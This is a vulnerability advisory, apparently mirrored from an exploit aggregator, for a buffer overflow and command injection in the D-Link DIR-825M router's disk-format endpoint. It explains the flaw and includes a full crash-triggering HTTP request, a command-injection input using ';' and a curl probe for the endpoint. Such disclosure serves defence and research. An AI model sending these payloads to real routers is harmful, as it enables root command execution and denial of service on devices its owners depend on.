## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-HACKSPEAK-CVE-2026-82592
# D-Link Router DIR-825M - Buffer Overflow in /boafrm/formDiskFormat
## Vulnerability Details
### Detail Information
**Field**| **Value**
---|---
**Vendor**| D-Link
**Product**| D-Link DIR-825M (and other models sharing the same firmware codebase)
**Affected Version**| Firmware v1.1.8
**Vulnerability Type**| Stack-based Buffer Overflow (CWE-121)、Command Injection (CWE-78)
**Vendor Homepage**| https://www.dlink.com/
## Vulnerability Description
During a security review of the router's firmware, a critical vulnerability was identified in the `/boafrm/formDiskFormat` endpoint.
The vulnerability is located in the `sub_46725C` function, which handles partition formatting. The function retrieves the user-controlled `partition` parameter from the HTTP POST request. Without any prior sanitization, verification, or length checks on this parameter, the program performs several unsafe operations:
1. It uses `sprintf` to format the parameter into a small local stack buffer `v9` (allocated with only 132 bytes).
2. It directly passes the constructed command strings to `system()` to execute system utilities.
An attacker can exploit this by injecting shell metacharacters (such as `;`, `&`, or `|`) into the `partition` parameter to execute arbitrary system commands with root privileges, or by passing an oversized string to cause a stack buffer overflow and hijack control flow.
* **Vulnerability Location** : `/boafrm/formDiskFormat` (or similar disk format handling endpoint)
* **Vulnerable Function** : `sub_46725C`
## Root Cause
The vulnerability stems from two concurrent programming flaws: **unsafe string formatting** and **direct execution of unvalidated inputs in a system shell**.
### 1\. Command Injection (CWE-78)
Inside `sub_46725C`, the `partition` parameter is fetched and stored in `v2`:
root@kitploit:~
v2 = (const char *)sub_41351C(a1, "partition", "");
If the parameter is not empty, the program immediately constructs an unmount command and executes it:
root@kitploit:~
sprintf(v9, "umount /dev/%s >/dev/null 2>&1", v2);
system(v9);
Since `v2` is directly embedded into the command string without sanitizing characters like `;`, an input of `sda1;+sleep+5;` will execute as:
root@kitploit:~
umount /dev/sda1; sleep 5; >/dev/null 2>&1
This directly triggers arbitrary shell command execution.
### 2\. Stack-based Buffer Overflow (CWE-121)
The local buffer `v9` is declared on the stack with a limited size:
root@kitploit:~
char v9[132];
The program uses `sprintf` to copy the user input into `v9`:
root@kitploit:~
sprintf(v9, "mkdir -p /var/tmp/usb/%s >/dev/null 2>&1", v2);
Because `sprintf` does not perform bounds checking, a `partition` parameter longer than approximately 90 bytes will write past the boundary of `v9`, overwriting the stack frame, including the saved frame pointer and return address (`$ra` in MIPS/ARM).
## Impact
An attacker can exploit this vulnerability to achieve the following outcomes:
* **Arbitrary Command Execution** : Execute arbitrary shell commands on the router with highest (`root`) privileges.
* **Denial of Service (DoS)** : Overwrite the stack or corrupt memory to crash the Web server daemon, rendering the router's management panel completely inaccessible.
## Proof of Concept (PoC)
By supplying an oversized `partition` parameter, the stack will be corrupted, resulting in a segmentation fault and crashing the Web server daemon.
root@kitploit:~
POST /boafrm/formDiskFormat HTTP/1.1
Host: 192.168.0.1
Content-Length: 655
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.0.1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.6367.118 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://192.168.0.1/diskformat.htm
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: webuicookie=16041526311804289383
Connection: keep-alive
partition=sda1aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm
## screenshots of the local reproduction
* Setting up the environment using firmae and Running the PoC via Burp Repeater
* Result:
* * *
# 分发镜像说明(中文)
本仓库为 **CVE-2026-82592(D-Link DIR-825M 磁盘格式化接口栈溢出 + 命令注入 RCE)** 漏洞 PoC 的中转分发镜像(技术分析见上方上游原版报告 `formDiskFormat.md`)。内容由上游公开 PoC 报告镜像而来,仅作存档与分发用途。PoC 仅供安全研究、漏洞验证与授权测试,请勿用于未授权目标。
## 漏洞简述 / Vulnerability Summary
* **CVE-2026-82592** / D-Link DIR-825M(共享同一固件代码库的型号需一并排查)
* **受影响版本** :固件 **v1.1.8**
* **类型** :栈缓冲区溢出(CWE-121)+ 命令注入(CWE-78)→ 远程代码执行(RCE)
* **CVSS 3.1** :**9.9(Critical)** ;CVSS 4.0:8.6(High)
* **攻击面** :Web 管理端磁盘格式化接口 `POST /boafrm/formDiskFormat`
* **触发方式** :向 `partition` 参数注入 shell 元字符(命令注入),或发送超长填充(栈溢出)
* **利用结果** :以 **root** 权限执行任意命令 / 使 Web 服务崩溃(DoS)
* **修复状态** :披露时厂商未公布补丁,请关注 D-Link 官方固件更新
核心原理:处理分区格式化的 `sub_46725C` 函数把用户可控的 `partition` 参数直接拼进两条命令——`sprintf(v9, "mkdir -p /var/tmp/usb/%s ...", v2)`(v9 仅 132 字节,无边界检查,超 ~90 字节即覆盖 `$ra`)与 `sprintf(v9, "umount /dev/%s ...", v2); system(v9)`(`;` `&` `|` 等元字符原样进 shell)。
## 环境与用法 / Requirements & Usage
* 复现环境:FirmaE 固件仿真 + Burp Repeater(公开的是**崩溃触发载荷** ,非完整 EXP)
* 接口存在性检测:
root@kitploit:~
curl -s -o /dev/null -w "%{http_code}" http://<路由器IP>/boafrm/formDiskFormat
# 返回 200 或 302(而非 404)说明接口存在
* 复现请求(关键部分):
root@kitploit:~
POST /boafrm/formDiskFormat HTTP/1.1
Content-Type: application/x-www-form-urlencoded
partition=sda1aaaa...(超长填充)&systype=ext2&Apply+Changes=Apply+Changes&submit_url=%2Fdiskinfo.htm
## 免责声明 / Disclaimer
本 PoC 仅供教学、安全研究与授权测试使用,仅可对自有或获得明确授权的设备运行。利用会以 root 权限执行命令或使设备 Web 服务崩溃,请在可销毁的仿真环境中测试。
## 归属与许可 / Attribution & License
* 上游 PoC 报告作者:**Robots10**(公开 IoT 漏洞仓库 IoT_vlu,`reports/Dlink/formDiskFormat/`)。
* 分发仓库采用 **MIT License**(见 `LICENSE`)。
## 参考链接 / References
* NVD:https://nvd.nist.gov/vuln/detail/CVE-2026-82592
* CVE 记录:https://vulners.com/cve/CVE-2026-82592
* D-Link 官网:https://www.dlink.com/